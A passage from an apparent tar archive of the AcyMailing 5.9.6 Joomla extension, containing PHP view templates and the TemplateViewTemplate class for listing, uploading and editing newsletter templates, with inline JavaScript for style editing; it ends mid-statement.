			<div style="display:none" id="fromemail_<?php echo $row->tempid;?>"><?php echo $row->fromemail;?></div>
		</div>
	<?php } ?>
	<?php if($this->pageInfo->elements->total > $this->pageInfo->elements->page || !empty($this->pageInfo->search) || !empty($this->pageInfo->category)){ ?>
		<table style="width:100%;margin-top:20px;">
			<tfoot>
			<tr>
				<td style="text-align:center;" colspan="2">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
		</table>
	<?php } ?>
	<input type="hidden" name="defaulttask" value="theme"/>
	<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
</form>

com_acymailing/views/template/tmpl/upload.php000060400000002043152455305300015435 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<form action="<?php echo acymailing_completeLink('template', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" enctype="multipart/form-data">
		<div id="iframedoc"></div>
		<div style="text-align:center;padding-top:20px;"><input type="file" style="width:auto" name="uploadedfile"/>
			<?php echo '<br />'.(acymailing_translation_sprintf('MAX_UPLOAD', (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize'))); ?></div>
		<br/><br/><a class="downloadmore" href="https://www.acyba.com/acymailing/templates-pack.html" target="_blank"><?php echo acymailing_translation('MORE_TEMPLATES'); ?></a>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/template/tmpl/form.php000060400000030654152455305300015125 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink('template'); ?>" method="post" name="adminForm" id="adminForm" class="templateManagement" enctype="multipart/form-data">
		<div class="acyblockoptions" id="sendtest" style="float:none;<?php if(acymailing_getVar('cmd', 'task') != 'test') echo 'display:none;'; ?>">
			<span class="acyblocktitle"><?php echo acymailing_translation('SEND_TEST'); ?></span>
			<table>
				<tr>
					<td valign="top">
						<?php echo acymailing_translation('SEND_TEST_TO'); ?>
					</td>
					<td>
						<?php echo $this->testreceiverType->display($this->infos->test_selection, $this->infos->test_group, $this->infos->test_emails); ?>
					</td>
				</tr>
				<tr>
					<td/>
					<td>
						<button type="submit" class="acymailing_button" onclick="var val = document.getElementById('message_receivers').value; if(val != ''){ setUser(val); } acymailing.submitbutton('test');return false;"><?php echo acymailing_translation('SEND_TEST') ?></button>
					</td>
				</tr>
			</table>
		</div>

		<div class="acyblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_TEMPLATE_INFORMATIONS'); ?></span>
			<table>
				<tr>
					<td>
						<label for="name">
							<?php echo acymailing_translation('TEMPLATE_NAME'); ?>
						</label>
					</td>
					<td>
						<input type="text" name="data[template][name]" id="name" class="inputbox" style="width:200px" value="<?php echo $this->escape(@$this->template->name); ?>"/>
					</td>
				</tr>
				<tr>
					<td>
						<label for="published">
							<?php echo acymailing_translation('ACY_PUBLISHED'); ?>
						</label>
					</td>
					<td>
						<?php echo acymailing_boolean("data[template][published]", '', @$this->template->published); ?>
					</td>
				</tr>
				<tr>
					<td>
						<label for="default">
							<?php echo acymailing_translation('ACY_DEFAULT'); ?>
						</label>
					</td>
					<td>
						<?php echo acymailing_boolean("data[template][premium]", '', @$this->template->premium); ?>
					</td>
				</tr>
				<?php if(acymailing_level(3)){ ?>
					<tr>
						<td>
							<label for="datatemplatecategory">
								<?php echo acymailing_translation('ACY_CATEGORY'); ?>
							</label>
						</td>
						<td>
							<?php $catType = acymailing_get('type.categoryfield');
							echo $catType->display('template', 'data[template][category]', $this->template->category); ?>
						</td>
					</tr>
				<?php } ?>
				<tr>
					<td>
						<label for="thumb">
							<?php echo acymailing_translation('ACY_THUMBNAIL'); ?>
						</label>
					</td>
					<td>
						<?php
						$uploadfileType = acymailing_get('type.uploadfile');
						echo $uploadfileType->display(true, 'thumb', $this->template->thumb, 'data[template][thumb]');
						?>
					</td>
				</tr>
				<tr>
					<td valign="top">
						<label for="description">
							<?php echo acymailing_translation('ACY_DESCRIPTION'); ?>
						</label>
					</td>
					<td>
						<textarea id="description" name="editor_description" style="width:90%;height:80px;"><?php echo @$this->template->description; ?></textarea>
					</td>
				</tr>
				<tr>
					<td>
						<label for="subject">
							<?php echo acymailing_translation('JOOMEXT_SUBJECT'); ?>
						</label>
					</td>
					<td>
						<div>
							<input onClick="zoneToTag='subject';" type="text" id="subject" name="data[template][subject]" class="inputbox" style="width:80%" value="<?php echo $this->escape(@$this->template->subject); ?>"/>
						</div>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key">
						<label for="fromname"><?php echo acymailing_translation('FROM_NAME'); ?></label>
					</td>
					<td class="paramlist_value">
						<input class="inputbox" id="fromname" type="text" name="data[template][fromname]" style="width:200px" value="<?php echo $this->escape(@$this->template->fromname); ?>"/>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key">
						<label for="fromemail"><?php echo acymailing_translation('FROM_ADDRESS'); ?></label>
					</td>
					<td class="paramlist_value">
						<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('FROM_ADDRESS')); ?>')" class="inputbox" id="fromemail" type="text" name="data[template][fromemail]" style="width:200px" value="<?php echo $this->escape(@$this->template->fromemail); ?>"/>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key">
						<label for="replyname"><?php echo acymailing_translation('REPLYTO_NAME'); ?></label>
					</td>
					<td class="paramlist_value">
						<input class="inputbox" id="replyname" type="text" name="data[template][replyname]" style="width:200px" value="<?php echo $this->escape(@$this->template->replyname); ?>"/>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key">
						<label for="replyemail"><?php echo acymailing_translation('REPLYTO_ADDRESS'); ?></label>
					</td>
					<td class="paramlist_value">
						<input onchange="validateEmail(this.value, '<?php echo addslashes(acymailing_translation('REPLYTO_ADDRESS')); ?>')" class="inputbox" id="replyemail" type="text" name="data[template][replyemail]" style="width:200px" value="<?php echo $this->escape(@$this->template->replyemail); ?>"/>
					</td>
				</tr>
			</table>
		</div>
		<?php echo acymailing_getFunctionsEmailCheck(); ?>

		<div class="acyblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_STYLES'); ?></span>
			<?php
			echo $this->tabs->startPane('template_css');
			echo $this->tabs->startPanel(acymailing_translation('STYLE_IND'), 'template_css_classes'); ?>
			<br style="font-size:1px"/>

			<table width="100%">
				<tbody id="classtable">
				<tr>
					<td>
						<label for="bgcolor">
							<?php echo acymailing_translation('BACKGROUND_COLOUR'); ?>
						</label>
					</td>
					<td>
						<?php echo $this->colorBox->displayAll('', 'styles[color_bg]', @$this->template->styles['color_bg']); ?>
					</td>
				</tr>
				<?php $tagList = array('tag_h1' => 'Title h1', 'tag_h2' => 'Title h2', 'tag_h3' => 'Title h3', 'tag_h4' => 'Title h4', 'tag_h5' => 'Title h5', 'tag_h6' => 'Title h6', 'tag_a' => acymailing_translation('ACY_LINK_STYLE'), 'acymailing_unsub' => acymailing_translation('STYLE_UNSUB'), 'acymailing_content' => acymailing_translation('CONTENT_AREA'), 'acymailing_title' => acymailing_translation('CONTENT_HEADER'), 'acymailing_readmore' => acymailing_translation('CONTENT_READMORE'), 'acymailing_online' => acymailing_translation('STYLE_VIEW'));
				foreach($tagList as $value => $text){ ?>
					<tr>
						<td><span id="name_<?php echo $value; ?>" style="<?php echo str_replace('!important', '', $this->escape(@$this->template->styles[$value])); ?>"><?php echo $text; ?></span></td>
						<td><input id="style_<?php echo $value; ?>" type="text" style="width:200px" onclick="showthediv('<?php echo $value; ?>',event);" name="styles[<?php echo $value; ?>]" value="<?php echo $this->escape(@$this->template->styles[$value]); ?>"/></td>
					</tr>
					<?php
					if($value == 'acymailing_readmore'){
						?>
						<tr>
							<td><?php echo acymailing_translation('READMORE_PICTURE'); ?></span></td>
							<td>
								<?php echo $uploadfileType->display(true, 'readmore', $this->template->readmore, 'data[template][readmore]'); ?>
							</td>
						</tr>
					<?php
					}
				}
				?>
				<tr>
					<td>
						<ul id="name_tag_ul" style="<?php echo $this->escape(@$this->template->styles['tag_ul']); ?>">
							<li id="name_tag_li2" style="<?php echo $this->escape(@$this->template->styles['tag_li']); ?>">ul</li>
							<li id="name_tag_li" style="<?php echo $this->escape(@$this->template->styles['tag_li']); ?>">li</li>
						</ul>
					</td>
					<td><input type="text" id="style_tag_ul" onclick="showthediv('tag_ul',event);" style="width:200px" name="styles[tag_ul]" value="<?php echo $this->escape(@$this->template->styles['tag_ul']); ?>"/>
						<br/><input type="text" id="style_tag_li" onclick="showthediv('tag_li',event);" style="width:200px" name="styles[tag_li]" value="<?php echo $this->escape(@$this->template->styles['tag_li']); ?>"/></td>
				</tr>
				<?php
				unset($this->template->styles['color_bg']);
				unset($this->template->styles['tag_ul']);
				unset($this->template->styles['tag_li']);
				if(!empty($this->template->styles)){
					foreach($this->template->styles as $className => $style){
						if(isset($tagList[$className])) continue;
						?>
						<tr>
							<td><span id="name_<?php echo $className ?>" style="<?php echo $this->escape($style); ?>"><?php echo $className ?></span></td>
							<td><input id="style_<?php echo $className ?>" type="text" style="width:200px" onclick="showthediv('<?php echo $className; ?>',event);" name="styles[<?php echo $className; ?>]" value="<?php echo $this->escape($style); ?>"/></td>
						</tr>
					<?php
					} ?>

				<?php }
				?>
				</tbody>
			</table>

			<a onclick="addStyle();return false;" href="#"><?php echo acymailing_translation('ADD_STYLE'); ?></a>
			<?php echo $this->tabs->startPanel(acymailing_translation('TEMPLATE_STYLESHEET'), 'template_css_stylesheet'); ?>
			<br style="font-size:1px"/>
			<?php
			$messages = array();
			if(version_compare(PHP_VERSION, '5.0.0', '<')) $messages[] = 'Please make sure you use at least PHP 5.0.0';
			if(!class_exists('DOMDocument')){
				$messages[] = 'DOMDocument class not found';
			}else{
				$xmldoc = @ new DOMDocument;
				if(!is_object($xmldoc) || !method_exists($xmldoc, 'loadHTML')){
					$messages[] = 'Please make sure that php_domxml.dll on windows is removed before using the domdocument class as they cannot coexist.';
				}
			}
			if(!function_exists('mb_convert_encoding')) $messages[] = 'The php extension mbstring is not installed';
			if(!empty($messages)){
				$messages[] = 'The stylesheet can not be used';
				acymailing_display($messages, 'warning');
			}else{ ?>
				<textarea onmouseover="document.getElementById('wysija').style.display = 'none'" name="data[template][stylesheet]" style="width:98%; min-width: 300px; min-height: 300px;" rows="25" id="acystylesheettextarea"><?php echo @$this->template->stylesheet; ?></textarea>
			<?php }
			echo $this->tabs->endPanel();
			echo $this->tabs->startPanel(acymailing_translation('ACY_HEADER'), 'template_css_header'); ?>
			<textarea name="data[template][header]" id="headertags" cols="10" rows="24" style="width: 98%; margin-top: 30px; font-size: 15px;"><?php echo $this->template->header ?></textarea>
			<?php
			echo $this->tabs->endPanel();
			echo $this->tabs->endPane(); ?>
		</div>
		<?php if(acymailing_level(3)){
			$acltype = acymailing_get('type.acl'); ?>
			<div class="acyblockoptions">
				<span class="acyblocktitle"><?php echo acymailing_translation('ACCESS_LEVEL'); ?></span>
				<?php echo $acltype->display('data[template][access]', $this->template->access); ?>
			</div>
		<?php } ?>
		<div class="acyblockoptions" style="width:90%" id="htmlfieldset">
			<span class="acyblocktitle"><?php echo acymailing_translation('HTML_VERSION'); ?></span>
			<?php echo $this->editor->display(); ?>
		</div>
		<div class="acyblockoptions" style="width:90%;" id="textfieldset">
			<span class="acyblocktitle"><?php echo acymailing_translation('TEXT_VERSION'); ?></span>
			<textarea onClick="zoneToTag='altbody';" style="width:98%;min-height:250px;" rows="20" name="data[template][altbody]" id="altbody" placeholder="<?php echo acymailing_translation('AUTO_GENERATED_HTML'); ?>"><?php echo @$this->template->altbody; ?></textarea>
		</div>
		<div class="clr"></div>
		<input type="hidden" name="cid[]" value="<?php echo @$this->template->tempid; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
	<div style="display:none;position:absolute;background-color:transparent;" id="wysija">
		<?php echo $this->colorBox->displayOne('wysijacolor', "", ""); ?>
		<select style="width:75px;height:17px;margin:0px;font-size:11px;" class="chzn-done" id="style_select_wysija" onchange="getValueSelect()">
			<?php $nbs = array('8', '10', '11', '12', '14', '16', '18', '20', '22', '24', '26', '36');
			echo "<option value=''>Font Size</option>";
			foreach($nbs as $nb){
				echo "<option value='".$nb."px'>$nb px.</option>";
			} ?>
		</select>

		<span id="B" onclick="spanChange('B')" class="belement"></span><span id="I" class="ielement" onclick="spanChange('I')"></span><span class="uelement" id="U" onclick="spanChange('U')"></span>
	</div>
</div>
com_acymailing/views/template/view.html.php000060400000047476152455305300015135 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class TemplateViewTemplate extends acymailingView{

	var $selection = array('a.tempid', 'a.name', 'a.description', 'a.created', 'a.published', 'a.premium', 'a.ordering', 'a.thumb');
	var $filters = array();
	var $button = true;
	var $chosen = false;

	function display($tpl = null){

		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();
		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName().$this->getLayout();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.ordering', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$pageInfo->category = acymailing_getUserVar($paramBase.".category", 'category', '0', 'string');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$this->filters[] = "a.name LIKE $searchVal OR a.description LIKE $searchVal OR a.tempid LIKE $searchVal";
		}

		if(!empty($pageInfo->category) && $pageInfo->category != acymailing_translation('ACY_ALL_CATEGORIES')){
			$this->filters[] = 'a.category LIKE '.acymailing_escapeDB($pageInfo->category);
		}

		$query = 'SELECT '.implode(',', $this->selection).' FROM '.acymailing_table('template').' as a';
		if(!empty($this->filters)){
			$query .= ' WHERE ('.implode(') AND (', $this->filters).')';
		}
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		try{
			$this->rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);
		}catch(Exception $e){
			$this->rows = null;
		}

		if($this->rows === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			if(file_exists(ACYMAILING_BACK.'install.joomla.php')){
				include_once(ACYMAILING_BACK.'install.joomla.php');
				$installClass = new acymailingInstall();
				$installClass->fromVersion = '4.1.0';
				$installClass->update = true;
				$installClass->updateSQL();
			}
		}

		$queryCount = 'SELECT COUNT(a.tempid) FROM '.acymailing_table('template').' as a';
		if(!empty($this->filters)){
			$queryCount .= ' WHERE ('.implode(') AND (', $this->filters).')';
		}
		
		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($this->rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		if($this->button){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->popup('import', acymailing_translation('IMPORT'), acymailing_completeLink("template&task=upload", true), 450, 250);

			$acyToolbar->custom('export', acymailing_translation('ACY_EXPORT'), 'export', true);
			$acyToolbar->divider();
			$acyToolbar->add();
			$acyToolbar->edit();
			if(acymailing_isAllowed($config->get('acl_templates_copy', 'all'))){
				$acyToolbar->copy();
			}
			if(acymailing_isAllowed($config->get('acl_templates_delete', 'all'))) $acyToolbar->delete();

			$acyToolbar->divider();
			$acyToolbar->help('template', 'listing');
			$acyToolbar->setTitle(acymailing_translation('ACY_TEMPLATES'), 'template');
			$acyToolbar->display();
		}


		$toggleClass = acymailing_get('helper.toggle');

		$order = new stdClass();
		$order->ordering = false;
		$order->orderUp = 'orderup';
		$order->orderDown = 'orderdown';
		$order->reverse = false;
		if($pageInfo->filter->order->value == 'a.ordering'){
			$order->ordering = true;
			if($pageInfo->filter->order->dir == 'desc'){
				$order->orderUp = 'orderdown';
				$order->orderDown = 'orderup';
				$order->reverse = true;
			}
		}

		$filters = new stdClass();


		$this->filters = $filters;
		$this->order = $order;
		$this->toggleClass = $toggleClass;
		$this->rows = $this->rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}

	function form(){
		$tempid = acymailing_getCID('tempid');
		$config = acymailing_config();

		if(!empty($tempid)){
			$templateClass = acymailing_get('class.template');
			$template = $templateClass->get($tempid);
			if(!empty($template->body)) $template->body = acymailing_absoluteURL($template->body);

			if(empty($template->tempid)){
				acymailing_display('Template '.$tempid.' not found', 'error');
				$tempid = 0;
			}
		}

		if(empty($tempid)){
			$template = new stdClass();
			$template->body = '';
			$template->tempid = 0;
			$template->published = 1;
			$template->access = 'all';
			$template->category = '';
			$template->thumb = '';
			$template->readmore = '';
			$template->header = '';
		}

		$editor = acymailing_get('helper.editor');
		$editor->setTemplate($template->tempid);
		$editor->name = 'editor_body';
		$editor->content = $template->body;
		$editor->prepareDisplay();

		$script = '
			document.addEventListener("DOMContentLoaded", function(){
				acymailing.submitbutton = function(pressbutton) {
					if (pressbutton == \'cancel\') {
						acymailing.submitform(pressbutton,document.adminForm);
						return;
					}
					
					if(pressbutton == \'save\' || pressbutton == \'test\' || pressbutton == \'apply\'){
						var emailVars = ["fromemail","replyemail"];
						var val = "";
						for(var key in emailVars){
							if(isNaN(key)) continue;
							val = document.getElementById(emailVars[key]).value;
							if(!validateEmail(val, emailVars[key])){
								return;
							}
						}
					}';
		$script .= 'if(window.document.getElementById("name").value.length < 2){alert(\''.acymailing_translation('ENTER_TITLE', true).'\'); return false;}';
		$script .= "if(pressbutton == 'test' && window.document.getElementById('sendtest') && window.document.getElementById('sendtest').style.display == 'none'){ window.document.getElementById('sendtest').style.display = 'block'; return false;}";
		$script .= $editor->jsCode();
		$script .= 'acymailing.submitform(pressbutton,document.adminForm);
				};
			 }); ';

		$script .= "var zoneToTag = 'editor';
			function insertTag(tag){
				if(zoneToTag == 'editor'){
					try{
						jInsertEditorText(tag,'editor_body');
						return true;
					} catch(err){
						alert('Your editor does not enable AcyMailing to automatically insert the tag, please copy/paste it manually in your Newsletter');
						return false;
					}
				}else{
					try{
						simpleInsert(zoneToTag, tag);
						return true;
					} catch(err){
						alert('Error inserting the tag in the '+ zoneToTag + 'zone. Please copy/paste it manually in your Newsletter.');
						return false;
					}
				}
			}
			function simpleInsert(myField, myValue) {
				myField = document.getElementById(myField);
				if (document.selection) {
					myField.focus();
					sel = document.selection.createRange();
					sel.text = myValue;
				} else if (myField.selectionStart || myField.selectionStart == '0') {
					var startPos = myField.selectionStart;
					var endPos = myField.selectionEnd;
					myField.value = myField.value.substring(0, startPos)
						+ myValue
						+ myField.value.substring(endPos, myField.value.length);
				} else if (myField.tagName == 'DIV') {
					myField.innerHTML += myValue;
					document.getElementById('subject').value += myValue;
				} else {
					myField.value += myValue;
				}
			}
			document.addEventListener('DOMContentLoaded', function(){
				setTimeout(function() {
					document.getElementById('htmlfieldset').addEventListener('click', function(){
						zoneToTag = 'editor';
					});	
					
					var ediframe = document.getElementById('htmlfieldset').getElementsByTagName('iframe');
					if(ediframe && ediframe[0]){
						var children = ediframe[0].contentDocument.getElementsByTagName('*');
						for (var i = 0; i < children.length; i++) {
							children[i].addEventListener('click', function(){
								zoneToTag = 'editor';
							});			
						}
					}		
				}, 1000);
			});";

		$script .= 'function addStyle(){
			var myTable=window.document.getElementById("classtable");
			var newline = document.createElement(\'tr\');
			var column = document.createElement(\'td\');
			var column2 = document.createElement(\'td\');
			var input = document.createElement(\'input\');
			var input2 = document.createElement(\'input\');
			input.type = \'text\';
			input2.type = \'text\';
			input.style.width = \'180px\';
			input2.style.width = \'200px\';
			input.name = \'otherstyles[classname][]\';
			input2.name = \'otherstyles[style][]\';
			input.placeholder = "'.str_replace('"', '\"', acymailing_translation('CLASS_NAME', true)).'";
			input2.placeholder = "'.str_replace('"', '\"', acymailing_translation('CSS_STYLE', true)).'";
			column.appendChild(input);
			column2.appendChild(input2);
			newline.appendChild(column);
			newline.appendChild(column2);
			myTable.appendChild(newline);
		}';

		$script .= 'var currentValueId = \'\';
				function showthediv(valueid, e){
					if(currentValueId != valueid){
						try{
							document.getElementById(\'wysija\').style.left = jQuery(e.target).position().left-50+"px";
							document.getElementById(\'wysija\').style.top = jQuery(e.target).position().top-40+"px";
						}catch(err){
							document.getElementById(\'wysija\').style.left = e.x-50+"px";
							document.getElementById(\'wysija\').style.top = e.y-40+"px";
						}
						currentValueId = valueid;
					}
					document.getElementById(\'wysija\').style.display = \'block\';
					initDiv();
				}

				function spanChange(span){
					input = currentValueId;
					if (document.getElementById(span).className == span.toLowerCase()+"elementselected"){
						document.getElementById(span).className = span.toLowerCase()+"element";
						if(span == "B"){
							document.getElementById("name_"+currentValueId).style.fontWeight = "";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value.replace(/font-weight *: *bold(;)?/i, "");
						}
						if(span == "I"){
							document.getElementById("name_"+currentValueId).style.fontStyle = "";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value.replace(/font-style *: *italic(;)?/i, "");
						}
						if(span == "U"){
							document.getElementById("name_"+currentValueId).style.textDecoration="";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value.replace(/text-decoration *: *underline(;)?/i,"");
						}

					}else{
						 document.getElementById(span).className = span.toLowerCase()+"elementselected";
						if(span == "B"){
							document.getElementById("name_"+currentValueId).style.fontWeight = "bold";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value + "font-weight:bold;";
						}
						if(span == "I"){
							document.getElementById("name_"+currentValueId).style.fontStyle = "italic";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value + "font-style:italic;";
						}
						if(span == "U"){
							document.getElementById("name_"+currentValueId).style.textDecoration="underline";
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value + "text-decoration:underline;";
						}
					}
				}
				function getValueSelect(){
					selec = currentValueId;
					var myRegex2 = new RegExp(/font-size *:[^;]*;/i);
					var MyValue = document.getElementById("style_select_wysija").value;
					document.getElementById("name_"+currentValueId).style.fontSize = MyValue;
					if(document.getElementById("style_"+currentValueId).value.search(myRegex2) != -1){
						if(MyValue == ""){
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value.replace(myRegex2, "");
						}else{
							document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value.replace(myRegex2, "font-size:"+MyValue+";");
						}
					}else{
						document.getElementById("style_"+currentValueId).value = document.getElementById("style_"+currentValueId).value + "font-size:"+MyValue+";";
					}
				}

				function initDiv(){

					var RegexSize = new RegExp(/font-size *:[^;]*(;)?/gi);
					var RegexColor = new RegExp(/([^a-z-])color *:[^;]*(;)?/gi);


					document.getElementById("colorexamplewysijacolor").style.backgroundColor = "#000000";
					document.getElementById("colordivwysijacolor").style.display = "none";
					spaced = document.getElementById("style_"+currentValueId).value.substr(0,1);
					if(spaced != " "){
						stringToQuery = \' \' + document.getElementById("style_"+currentValueId).value;
					}else{
						stringToQuery = document.getElementById("style_"+currentValueId).value;
					}
					NewColor = stringToQuery.match(RegexColor);
					if(NewColor != null){
						NewColor = NewColor[0].match(/:[^;!]*/gi);
						NewColor = NewColor[0].replace(/(:| )/gi,"");
						document.getElementById("colorexamplewysijacolor").style.backgroundColor = NewColor;
					}


					document.getElementById("U").className = "uelement";
					document.getElementById("I").className = "ielement";
					document.getElementById("B").className = "belement";

					if(document.getElementById("style_"+currentValueId).value.search(/font-weight: *bold(;)?/i) != -1){
						document.getElementById("B").className += "selected";
					}
					if(document.getElementById("style_"+currentValueId).value.search(/font-style: *italic(;)?/i) != -1){
						document.getElementById("I").className += "selected";
					}
					if(document.getElementById("style_"+currentValueId).value.search(/text-decoration: *underline(;)?/i) != -1){
						document.getElementById("U").className += "selected";
					}


					NewSize = stringToQuery.match(RegexSize);
					document.getElementById("style_select_wysija").options[0].selected = true;
					if(NewSize != null){
						NewSize = NewSize[0].match(/:[^;]*/gi);
						NewSize = NewSize[0].replace(" ","");
						NewSize = NewSize.substr(1);
						for(var i = 0; i < document.getElementById("style_select_wysija").length; i++){
							if(document.getElementById("style_select_wysija").options[i].value == NewSize){
								document.getElementById("style_select_wysija").options[i].selected = true;
							}
						}
					}
				}';

		acymailing_addScript(true, $script);

		$installedPlugin = acymailing_getPlugin('acymailing', 'emojis');
		if(!empty($installedPlugin)){
			$params = new acyParameter($installedPlugin->params);
			if(acymailing_isPluginEnabled('acymailing', 'emojis') && $params->get('subject', 1) == 1) {
				if(!ACYMAILING_J30){
					acymailing_addScript(false, ACYMAILING_JS.'jquery/jquery-1.9.1.min.js?v='.filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-1.9.1.min.js'));
					acymailing_addScript(false, ACYMAILING_JS.'jquery/jquery-ui.min.js?v='.filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-ui.min.js'));
				}
				acymailing_addScript(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/emojionearea.js?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'emojionearea.js'));
				acymailing_addScript(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/dialogs/emojimap.js?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'dialogs'.DS.'emojimap.js'));
				acymailing_addStyle(false, acymailing_rootURI().'plugins/editors/acyeditor/acyeditor/ckeditor/plugins/smiley/emojionearea.css?v='.filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'plugins'.DS.'smiley'.DS.'emojionearea.css'));

				acymailing_addScript(true, '
					jQuery(document).ready(function() {
						jQuery("#subject").emojioneArea({
							pickerPosition: "bottom",
							shortnames: true
						});
					});
				');
			}
		}

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$infos = new stdClass();
		$infos->test_selection = acymailing_getUserVar($paramBase.".test_selection", 'test_selection', '', 'string');
		$infos->test_group = acymailing_getUserVar($paramBase.".test_group", 'test_group', '', 'string');
		$infos->test_emails = acymailing_getUserVar($paramBase.".test_emails", 'test_emails', '', 'string');


		$acyToolbar = acymailing_get('helper.toolbar');
		if(acymailing_isAllowed($config->get('acl_tags_view', 'all'))) $acyToolbar->popup('tag', acymailing_translation('TAGS'), acymailing_completeLink("tag&task=tag&type=news", true), 780, 550);
		$acyToolbar->custom('test', acymailing_translation('SEND_TEST'), 'send', false);
		$acyToolbar->divider();
		$acyToolbar->addButtonOption('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
		$acyToolbar->save();
		$acyToolbar->cancel();
		$acyToolbar->divider();
		$acyToolbar->help('template', 'templatecreation');
		$acyToolbar->setTitle(acymailing_translation('ACY_TEMPLATE'), 'template&task=edit&tempid='.$tempid);
		$acyToolbar->display();


		$this->editor = $editor;
		$testreceiverType = acymailing_get('type.testreceiver');
		$this->testreceiverType = $testreceiverType;
		$this->template = $template;
		$colorBox = acymailing_get('type.color');
		$this->colorBox = $colorBox;
		$this->infos = $infos;

		$tabs = acymailing_get('helper.acytabs');
		$this->tabs = $tabs;
	}

	function theme(){
		$this->selection[] = 'a.*';
		$this->filters[] = 'a.published = 1';

		if(acymailing_level(3)){
			$groups = acymailing_getGroupsByUser(acymailing_currentUserId(), false);
			$condGroup = '';
			foreach($groups as $group){
				$condGroup .= ' OR a.access LIKE (\'%,'.$group.',%\')';
			}
			$this->filters[] = 'a.access = \'all\''.$condGroup;
		}

		$this->button = false;
		acymailing_display(acymailing_translation('CHANGE_TEMPLATE'), 'warning', false);
		$this->listing();

		$js = "function applyTemplate(tempid){
			window.parent.changeTemplate(window.document.getElementById('htmlcontent_'+tempid).innerHTML,
